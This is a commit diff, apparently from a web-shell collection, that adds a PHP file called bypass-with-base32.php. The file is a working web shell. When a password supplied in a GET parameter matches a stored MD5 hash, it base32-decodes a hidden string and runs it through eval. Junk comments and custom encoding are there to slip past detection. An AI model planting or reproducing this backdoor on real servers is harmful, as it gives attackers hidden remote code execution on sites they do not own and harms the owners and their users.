Create bypass-with-base32.php

Author: tennc

php/bypass-with-base32.php

@@ -0,0 +1,69 @@
+<?php
+class ZQIH{
+        public $a = null;
+        public $b = null;
+        public $c = null;
+
+        function __construct(){
+            if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
+
+        $this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
+
+
+
+        $this->LGZOJH = @base32_decode($this->a);
+        @eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
+        }}}
+new ZQIH();
+
+function base32_encode($input) {
+    $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
+    $output = '';
+    $v = 0;
+    $vbits = 0;
+
+    for ($i = 0, $j = strlen($input); $i < $j; $i++) {
+        $v <<= 8;
+        $v += ord($input[$i]);
+        $vbits += 8;
+
+        while ($vbits >= 5) {
+            $vbits -= 5;
+            $output .= $BASE32_ALPHABET[$v >> $vbits];
+            $v &= ((1 << $vbits) - 1);
+        }
+    }
+
+    if ($vbits > 0) {
+        $v <<= (5 - $vbits);
+        $output .= $BASE32_ALPHABET[$v];
+    }
+
+    return $output;
+}
+
+function base32_decode($input) {
+    $output = '';
+    $v = 0;
+    $vbits = 0;
+
+    for ($i = 0, $j = strlen($input); $i < $j; $i++) {
+        $v <<= 5;
+        if ($input[$i] >= 'a' && $input[$i] <= 'z') {
+            $v += (ord($input[$i]) - 97);
+        } elseif ($input[$i] >= '2' && $input[$i] <= '7') {
+            $v += (24 + $input[$i]);
+        } else {
+            exit(1);
+        }
+
+        $vbits += 5;
+        while ($vbits >= 8) {
+            $vbits -= 8;
+            $output .= chr($v >> $vbits);
+            $v &= ((1 << $vbits) - 1);
+        }
+    }
+    return $output;
+}
+?>